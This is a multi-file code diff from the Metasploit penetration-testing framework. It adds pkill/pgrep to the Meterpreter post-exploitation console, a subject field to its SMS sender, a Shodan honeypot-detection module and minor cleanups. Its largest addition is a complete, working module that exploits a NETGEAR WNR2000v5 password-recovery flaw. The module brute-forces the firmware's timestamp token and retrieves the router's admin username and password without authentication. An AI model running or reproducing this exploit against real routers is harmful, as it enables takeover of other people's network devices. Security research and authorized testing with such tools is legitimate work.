@ -113,6 +116,8 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"getsid" => [ "stdapi_sys_config_getsid" ],
|
||||
"getenv" => [ "stdapi_sys_config_getenv" ],
|
||||
"kill" => [ "stdapi_sys_process_kill" ],
|
||||
"pkill" => [ "stdapi_sys_process_kill", "stdapi_sys_process_get_processes" ],
|
||||
"pgrep" => [ "stdapi_sys_process_get_processes" ],
|
||||
"ps" => [ "stdapi_sys_process_get_processes" ],
|
||||
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
||||
"reg" => [
|
||||
|
@ -372,7 +377,81 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
def cmd_kill_help
|
||||
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
|
||||
print_line("Terminate one or more processes.")
|
||||
print_line(" -s : Kills the pid associated with the current session.")
|
||||
print_line(" -s Kills the pid associated with the current session.")
|
||||
end
|
||||
|
||||
#
|
||||
# Kills one or more processes by name.
|
||||
#
|
||||
def cmd_pkill(*args)
|
||||
if args.include?('-h')
|
||||
cmd_pkill_help
|
||||
return true
|
||||
end
|
||||
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args)
|
||||
|
||||
if processes.length == 0
|
||||
print_line("No matching processes were found.")
|
||||
return true
|
||||
end
|
||||
|
||||
if processes.length == all_processes.length && !args.include?('-f')
|
||||
print_error("All processes will be killed, use '-f' to force.")
|
||||
return true
|
||||
end
|
||||
|
||||
pids = processes.collect { |p| p['pid'] }.reverse
|
||||
print_line("Killing: #{pids.join(', ')}")
|
||||
client.sys.process.kill(*(pids.map { |x| x }))
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_pkill_help
|
||||
print_line("Usage: pkill [ options ] pattern")
|
||||
print_line("Terminate one or more processes by name.")
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Filters processes by name
|
||||
#
|
||||
def cmd_pgrep(*args)
|
||||
if args.include?('-h')
|
||||
cmd_pgrep_help
|
||||
return true
|
||||
end
|
||||
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args, quiet: true)
|
||||
|
||||
if processes.length == 0 || processes.length == all_processes.length
|
||||
return true
|
||||
end
|
||||
|
||||
# XXX fix Rex parser to properly handle adjacent short flags
|
||||
f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl')
|
||||
l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl')
|
||||
|
||||
processes.each do |p|
|
||||
if l_flag
|
||||
if f_flag
|
||||
print_line("#{p['pid']} #{p['path']}")
|
||||
else
|
||||
print_line("#{p['pid']} #{p['name']}")
|
||||
end
|
||||
else
|
||||
print_line("#{p['pid']}")
|
||||
end
|
||||
end
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_pgrep_help
|
||||
print_line("Usage: pgrep [ options ] pattern")
|
||||
print_line("Filter processes by name.")
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -418,7 +497,87 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
valid_pids << pid
|
||||
end
|
||||
end
|
||||
return valid_pids
|
||||
valid_pids
|
||||
end
|
||||
|
||||
def match_processes(processes, args, quiet: false)
|
||||
|
||||
search_proc = nil
|
||||
search_user = nil
|
||||
exact_match = false
|
||||
|
||||
# Parse opts
|
||||
@@ps_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-S', nil
|
||||
if val.nil? || val.empty?
|
||||
print_error "Enter a process name"
|
||||
processes = []
|
||||
else
|
||||
search_proc = val
|
||||
end
|
||||
when "-U"
|
||||
if val.nil? || val.empty?
|
||||
print_line "Enter a process user"
|
||||
processes = []
|
||||
else
|
||||
search_user = val
|
||||
end
|
||||
when '-x'
|
||||
exact_match = true
|
||||
when "-A"
|
||||
if val.nil? || val.empty?
|
||||
print_error "Enter an architecture"
|
||||
processes = []
|
||||
else
|
||||
print_line "Filtering on arch '#{val}" if !quiet
|
||||
processes = processes.select do |p|
|
||||
p['arch'] == val
|
||||
end
|
||||
end
|
||||
when "-s"
|
||||
print_line "Filtering on SYSTEM processes..." if !quiet
|
||||
processes = processes.select do |p|
|
||||
["NT AUTHORITY\\SYSTEM", "root"].include? p['user']
|
||||
end
|
||||
when "-c"
|
||||
print_line "Filtering on child processes of the current shell..." if !quiet
|
||||
current_shell_pid = client.sys.process.getpid
|
||||
processes = processes.select do |p|
|
||||
p['ppid'] == current_shell_pid
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless search_proc.nil?
|
||||
print_line "Filtering on '#{search_proc}'" if !quiet
|
||||
if exact_match
|
||||
processes = processes.select do |p|
|
||||
p['name'] == search_proc
|
||||
end
|
||||
else
|
||||
match = /#{search_proc}/
|
||||
processes = processes.select do |p|
|
||||
p['name'] =~ match
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless search_user.nil?
|
||||
print_line "Filtering on user '#{search_user}'" if !quiet
|
||||
if exact_match
|
||||
processes = processes.select do |p|
|
||||
p['user'] == search_user
|
||||
end
|
||||
else
|
||||
match = /#{search_user}/
|
||||
processes = processes.select do |p|
|
||||
p['user'] =~ match
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new(processes)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -430,80 +589,28 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
return true
|
||||
end
|
||||
|
||||
# Init vars
|
||||
processes = client.sys.process.get_processes
|
||||
search_term = nil
|
||||
all_processes = client.sys.process.get_processes
|
||||
processes = match_processes(all_processes, args)
|
||||
|
||||
# Parse opts
|
||||
@@ps_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when '-S'
|
||||
search_term = val
|
||||
if search_term.nil?
|
||||
print_error("Enter a search term")
|
||||
return true
|
||||
end
|
||||
when "-A"
|
||||
print_line "Filtering on arch..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
next if proc['arch'].nil? or proc['arch'].empty?
|
||||
if val.nil? or val.empty?
|
||||
return false
|
||||
end
|
||||
searched_procs << proc if proc["arch"] == val
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-s"
|
||||
print_line "Filtering on SYSTEM processes..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-c"
|
||||
print_line "Filtering on child processes of the current shell..."
|
||||
current_shell_pid = client.sys.process.getpid
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
searched_procs << proc if proc['ppid'] == current_shell_pid
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-U"
|
||||
print_line "Filtering on user name..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
if val.nil? or val.empty?
|
||||
print_line "You must supply a search term!"
|
||||
return false
|
||||
end
|
||||
searched_procs << proc if proc["user"].match(/#{val}/)
|
||||
end
|
||||
processes = searched_procs
|
||||
end
|
||||
}
|
||||
|
||||
if (processes.length == 0)
|
||||
print_line("No running processes were found.")
|
||||
else
|
||||
tbl = processes.to_table('SearchTerm' => search_term)
|
||||
print_line
|
||||
print_line(tbl.to_s)
|
||||
if processes.length == 0
|
||||
print_line("No matching processes were found.")
|
||||
return true
|
||||
end
|
||||
return true
|
||||
|
||||
tbl = processes.to_table
|
||||
print_line
|
||||
print_line(tbl.to_s)
|
||||
true
|
||||
end
|
||||
|
||||
def cmd_ps_help
|
||||
print_line "Usage: ps [ options ]"
|
||||
print_line "Usage: ps [ options ] pattern"
|
||||
print_line
|
||||
print_line "Use the command with no arguments to see all running processes."
|
||||
print_line "The following options can be used to filter those results:"
|
||||
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Reboots the remote computer.
|
||||
#
|
||||
|
|
|
@ -32,10 +32,11 @@ module Rex
|
|||
# Sends a text to multiple recipients.
|
||||
#
|
||||
# @param phone_numbers [<String>Array] An array of phone numbers.
|
||||
# @param subject [String] Subject of the message
|
||||
# @param message [String] The text message to send.
|
||||
#
|
||||
# @return [void]
|
||||
def send_text_to_phones(phone_numbers, message)
|
||||
def send_text_to_phones(phone_numbers, subject, message)
|
||||
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
|
||||
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
|
||||
address = self.smtp_server.address
|
||||
|
@ -52,7 +53,13 @@ module Rex
|
|||
smtp.enable_starttls_auto
|
||||
smtp.start(helo_domain, username, password, login_type) do
|
||||
recipients.each do |r|
|
||||
smtp.send_message(message, from, r)
|
||||
sms_message = Rex::Proto::Sms::Model::Message.new(
|
||||
from: from,
|
||||
to: r,
|
||||
subject: subject,
|
||||
message: message
|
||||
)
|
||||
smtp.send_message(sms_message.to_s, from, r)
|
||||
end
|
||||
end
|
||||
rescue Net::SMTPAuthenticationError => e
|
||||
|
|
|
@ -28,4 +28,5 @@ end
|
|||
|
||||
require 'net/smtp'
|
||||
require 'rex/proto/sms/model/smtp'
|
||||
require 'rex/proto/sms/model/message'
|
||||
require 'rex/proto/sms/client'
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Sms
|
||||
module Model
|
||||
class Message
|
||||
|
||||
# @!attribute message
|
||||
# @return [String] The text message
|
||||
attr_accessor :message
|
||||
|
||||
|
||||
# @!attribute from
|
||||
# @return [String] The from field in the email
|
||||
attr_accessor :from
|
||||
|
||||
# @!attribute to
|
||||
# @return [String] The to field in the email
|
||||
attr_accessor :to
|
||||
|
||||
# @!attribute subject
|
||||
# @return [String] The subject of the email
|
||||
attr_accessor :subject
|
||||
|
||||
|
||||
# Initializes the SMTP object.
|
||||
#
|
||||
# @param [Hash] opts
|
||||
# @option opts [String] :from
|
||||
# @option opts [String] :to
|
||||
# @option opts [String] :message
|
||||
#
|
||||
# @return [Rex::Proto::Sms::Model::Message]
|
||||
def initialize(opts={})
|
||||
self.from = opts[:from]
|
||||
self.to = opts[:to]
|
||||
self.message = opts[:message]
|
||||
self.subject = opts[:subject]
|
||||
end
|
||||
|
||||
|
||||
# Returns the raw SMS message
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
body = Rex::MIME::Message.new
|
||||
body.add_part(self.message, 'text/plain; charset=UTF-8', nil)
|
||||
|
||||
sms = "MIME-Version: 1.0\n"
|
||||
sms << "From: #{self.from}\n"
|
||||
sms << "To: #{self.to}\n"
|
||||
sms << "Subject: #{self.subject}\n"
|
||||
sms << "Content-Type: multipart/alternative; boundary=#{body.bound}\n"
|
||||
sms << "\n"
|
||||
sms << body.to_s
|
||||
|
||||
sms
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -67,7 +67,7 @@ Gem::Specification.new do |spec|
|
|||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.19'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
@ -106,6 +106,7 @@ Gem::Specification.new do |spec|
|
|||
# Protocol Libraries
|
||||
#
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'ruby_smb'
|
||||
|
||||
#
|
||||
# REX Libraries
|
||||
|
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'time'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::CRand
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
|
||||
'Description' => %q{
|
||||
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
|
||||
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
|
||||
the value of a certain timestamp which is in the configuration of the router.
|
||||
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
|
||||
it is guaranteed that it can be bruteforced.
|
||||
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
|
||||
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
|
||||
has not been tested.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-10175'],
|
||||
['CVE', '2016-10176'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
|
||||
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
|
||||
],
|
||||
'DisclosureDate' => 'Dec 20 2016'))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
|
||||
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_current_time
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res['Date']
|
||||
date = res['Date']
|
||||
return Time.parse(date).strftime('%s').to_i
|
||||
end
|
||||
end
|
||||
|
||||
# Do some crazyness to force Ruby to cast to a single-precision float and
|
||||
# back to an integer.
|
||||
# This emulates the behaviour of the soft-fp library and the float cast
|
||||
# which is done at the end of Netgear's timestamp generator.
|
||||
def ieee754_round (number)
|
||||
[number].pack('f').unpack('f*')[0].to_i
|
||||
end
|
||||
|
||||
|
||||
# This is the actual algorithm used in the get_timestamp function in
|
||||
# the Netgear firmware.
|
||||
def get_timestamp(time)
|
||||
srandom_r time
|
||||
t0 = random_r
|
||||
t1 = 0x17dc65df;
|
||||
hi = (t0 * t1) >> 32;
|
||||
t2 = t0 >> 31;
|
||||
t3 = hi >> 23;
|
||||
t3 = t3 - t2;
|
||||
t4 = t3 * 0x55d4a80;
|
||||
t0 = t0 - t4;
|
||||
t0 = t0 + 0x989680;
|
||||
|
||||
ieee754_round(t0)
|
||||
end
|
||||
|
||||
def get_creds
|
||||
res = send_request_cgi({
|
||||
'uri' => '/BRS_netgear_success.html',
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res && res.body =~ /var sn="([\w]*)";/
|
||||
serial = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
|
||||
end
|
||||
|
||||
# 1: send serial number
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/unauth.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'match_sn',
|
||||
'serial_num' => serial,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 2: send answer to secret questions
|
||||
send_request_cgi({
|
||||
'uri' => '/apply_noauth.cgi?/securityquestions.cgi',
|
||||
'method' => 'POST',
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'vars_post' =>
|
||||
{
|
||||
'submit_flag' => 'security_question',
|
||||
'answer1' => @q1,
|
||||
'answer2' => @q2,
|
||||
'continue' => '+Continue+'
|
||||
}
|
||||
})
|
||||
|
||||
# 3: PROFIT!!!
|
||||
res = send_request_cgi({
|
||||
'uri' => '/passwordrecovered.cgi',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && res.body =~ /Admin Password: (.*)<\/TD>/
|
||||
password = $1
|
||||
if password.blank?
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
|
||||
end
|
||||
|
||||
if res && res.body =~ /Admin Username: (.*)<\/TD>/
|
||||
username = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
|
||||
end
|
||||
|
||||
return [username, password]
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: 'netgear',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def send_req(timestamp)
|
||||
begin
|
||||
uri_str = (timestamp == nil ? \
|
||||
"/apply_noauth.cgi?/PWD_password.htm" : \
|
||||
"/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}")
|
||||
res = send_request_raw({
|
||||
'uri' => uri_str,
|
||||
'method' => 'POST',
|
||||
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
|
||||
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
|
||||
})
|
||||
return res
|
||||
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# generate the security questions
|
||||
@q1 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
@q2 = Rex::Text.rand_text_alpha(rand(20) + 2)
|
||||
|
||||
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
|
||||
print_status("#{peer} - Trying the easy way out first")
|
||||
res = send_req(nil)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
return
|
||||
end
|
||||
|
||||
# no result? let's just go on and bruteforce the timestamp
|
||||
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
|
||||
|
||||
# get the current date from the router and parse it
|
||||
end_time = get_current_time
|
||||
if end_time == nil
|
||||
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
|
||||
end
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
start_time = 0
|
||||
else
|
||||
start_time = end_time - datastore['TIME_OFFSET']
|
||||
end
|
||||
end_time += datastore['TIME_SURPLUS']
|
||||
|
||||
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
|
||||
end
|
||||
|
||||
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
|
||||
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
|
||||
|
||||
# work back from the current router time minus datastore['TIME_OFFSET']
|
||||
while true
|
||||
for time in end_time.downto(start_time)
|
||||
timestamp = get_timestamp(time)
|
||||
sleep 0.1
|
||||
if time % 400 == 0
|
||||
print_status("#{peer} - Still working, trying time #{time}")
|
||||
end
|
||||
res = send_req(timestamp)
|
||||
if res && res.code == 200
|
||||
credentials = get_creds
|
||||
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
|
||||
report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
|
||||
return
|
||||
end
|
||||
end
|
||||
end_time = start_time
|
||||
start_time -= datastore['TIME_OFFSET']
|
||||
if start_time < 0
|
||||
if end_time <= datastore['TIME_OFFSET']
|
||||
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
|
||||
end
|
||||
start_time = 0
|
||||
end
|
||||
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
|
||||
|
||||
# let the router clear the buffers a bit...
|
||||
sleep 30
|
||||
end
|
||||
end
|
||||
end
|
|
@ -39,15 +39,15 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://opengarages.org/hwbridge' ] # TODO
|
||||
],
|
||||
]
|
||||
}
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
Opt::RHOST("127.0.0.1"),
|
||||
OptBool.new("DEBUGJSON", [false, "Additional debugging out for JSON requests to HW Bridge", false]),
|
||||
OptString.new('TARGETURI', [ true, "The path to the hwbridge API", '/'])
|
||||
Opt::RHOST('127.0.0.1'),
|
||||
OptBool.new('DEBUGJSON', [false, "Additional debugging out for JSON requests to HW Bridge", false]),
|
||||
OptString.new('TARGETURI', [ true, "The path to the hwbridge API", '/'])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
|
@ -58,15 +58,17 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Generic fetch json call. returns hash of json
|
||||
#
|
||||
def fetch_json(uri)
|
||||
tpath = normalize_uri("#{datastore["TARGETURI"]}/#{uri}")
|
||||
tpath = normalize_uri("#{datastore['TARGETURI']}/#{uri}")
|
||||
res = send_request_cgi({
|
||||
'uri' => tpath,
|
||||
'method' => 'GET',
|
||||
'method' => 'GET'
|
||||
})
|
||||
return nil if not res or not res.body or not res.code
|
||||
if (res.code == 200)
|
||||
print_status res.body if datastore["DEBUGJSON"] == true
|
||||
return nil if !res || !res.body || !res.code
|
||||
if res.code == 200
|
||||
print_status res.body if datastore['DEBUGJSON'] == true
|
||||
return JSON.parse(res.body)
|
||||
elsif res.code == 401
|
||||
print_error "Access Denied: #{res.body}"
|
||||
end
|
||||
return nil
|
||||
|
||||
|
@ -95,8 +97,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Uses status information to automatically load proper extensions
|
||||
#
|
||||
def autoload_extensions(sess)
|
||||
if self.hw_specialty.has_key? "automotive"
|
||||
sess.load_automotive if self.hw_specialty["automotive"] == true
|
||||
if self.hw_specialty.key? 'automotive'
|
||||
sess.load_automotive if self.hw_specialty['automotive'] == true
|
||||
end
|
||||
if self.hw_specialty.has_key? 'zigbee'
|
||||
sess.load_zigbee if self.hw_specialty['zigbee'] == true
|
||||
end
|
||||
if self.hw_specialty.has_key? 'rftransceiver'
|
||||
sess.load_rftransceiver if self.hw_specialty['rftransceiver'] == true
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -104,8 +112,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# If the hardware contains custom methods, create functions for those
|
||||
#
|
||||
def load_custom_methods(sess)
|
||||
if self.hw_capabilities.has_key? "custom_methods"
|
||||
sess.load_custom_methods if self.hw_capabilities["custom_methods"] == true
|
||||
if self.hw_capabilities.key? 'custom_methods'
|
||||
sess.load_custom_methods if self.hw_capabilities['custom_methods'] == true
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -114,23 +122,23 @@ class MetasploitModule < Msf::Auxiliary
|
|||
#
|
||||
def get_status
|
||||
data = fetch_json("/status")
|
||||
if not data == nil
|
||||
if data.has_key? "operational"
|
||||
unless data.nil?
|
||||
if data.key? 'operational'
|
||||
@last_access = Time.now
|
||||
if data.has_key? "hw_specialty"
|
||||
self.hw_specialty = data["hw_specialty"]
|
||||
if data.key? 'hw_specialty'
|
||||
self.hw_specialty = data['hw_specialty']
|
||||
end
|
||||
if data.has_key? "hw_capabilities"
|
||||
self.hw_capabilities = data["hw_capabilities"]
|
||||
if data.key? 'hw_capabilities'
|
||||
self.hw_capabilities = data['hw_capabilities']
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
print_status "Attempting to connect to #{datastore["RHOST"]}..."
|
||||
print_status "Attempting to connect to #{datastore['RHOST']}..."
|
||||
self.get_status()
|
||||
if not @last_access == nil
|
||||
unless @last_access.nil?
|
||||
sess = Msf::Sessions::HWBridge.new(self)
|
||||
sess.set_from_exploit(self)
|
||||
|
||||
|
@ -147,7 +155,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
attr_reader :hw_specialty
|
||||
attr_reader :hw_capabilities
|
||||
protected
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :hw_specialty
|
||||
attr_writer :hw_capabilities
|
||||
end
|
||||
|
|
|
@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
phone_numbers = datastore['CELLNUMBERS'].split
|
||||
print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...")
|
||||
begin
|
||||
res = send_text(phone_numbers, datastore['SMSMESSAGE'])
|
||||
res = send_text(phone_numbers, datastore['SMSSUBJECT'], datastore['SMSMESSAGE'])
|
||||
print_status("Done.")
|
||||
rescue Rex::Proto::Sms::Exception => e
|
||||
print_error(e.message)
|
||||
|
|
|
@ -0,0 +1,96 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Shodan Honeyscore Client',
|
||||
'Description' => %q{
|
||||
This module uses the shodan API to check
|
||||
if a server is a honeypot or not. The api
|
||||
returns a score from 0.0 to 1.0. 1.0 being a honeypot.
|
||||
A shodan API key is needed for this module to work properly.
|
||||
|
||||
If you don't have an account, go here to register:
|
||||
https://account.shodan.io/register
|
||||
For more info on how their honeyscore system works, go here:
|
||||
https://honeyscore.shodan.io/
|
||||
},
|
||||
'Author' =>
|
||||
[ 'thecarterb' ], # Thanks to @rwhitcroft, @h00die and @wvu-r7 for the improvements and review!
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://honeyscore.shodan.io/']
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
deregister_options('RHOST', 'SSL', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM',
|
||||
'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey',
|
||||
'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2')
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGET', [true, 'The target to get the score of']),
|
||||
OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def print_score(score)
|
||||
tgt = datastore['TARGET']
|
||||
print_status("#{tgt} honeyscore: #{score}/1.0")
|
||||
end
|
||||
|
||||
def run
|
||||
key = datastore['SHODAN_APIKEY']
|
||||
|
||||
# Check the length of the key (should be 32 chars)
|
||||
if key.length != 32
|
||||
print_error('Invalid API key (Not long enough)')
|
||||
return
|
||||
end
|
||||
|
||||
tgt = datastore['TARGET']
|
||||
print_status("Scanning #{tgt}")
|
||||
cli = Rex::Proto::Http::Client.new('api.shodan.io', 443, {}, true)
|
||||
cli.connect
|
||||
req = cli.request_cgi({
|
||||
'uri' => "/labs/honeyscore/#{tgt}?key=#{key}",
|
||||
'method' => 'GET'
|
||||
})
|
||||
res = cli.send_recv(req)
|
||||
cli.close
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to connect to shodan')
|
||||
end
|
||||
|
||||
if res.code != 200
|
||||
print_error('Shodan did not respond in an expected way. Check your api key')
|
||||
return
|
||||
end
|
||||
|
||||
score = res.body.to_f # Change the score to a float to be able to determine value in the checks
|
||||
|
||||
if score == 0
|
||||
print_error("#{tgt} is not a honeypot")
|
||||
elsif score < 0.4 && score != 0.0
|
||||
print_error("#{tgt} is probably not a honeypot")
|
||||
elsif score > 0.4 && score < 0.6
|
||||
print_status("#{tgt} might be a honeypot")
|
||||
elsif score > 0.6 && score < 1.0
|
||||
print_good("#{tgt} is probably a honeypot")
|
||||
elsif score == 1.0
|
||||
print_good("#{tgt} is definitely a honeypot")
|
||||
else # We shouldn't ever get here as the previous checks should catch an unexpected response
|
||||
print_error('An unexpected error occured.')
|
||||
return
|
||||
end
|
||||
print_score(score)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,81 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
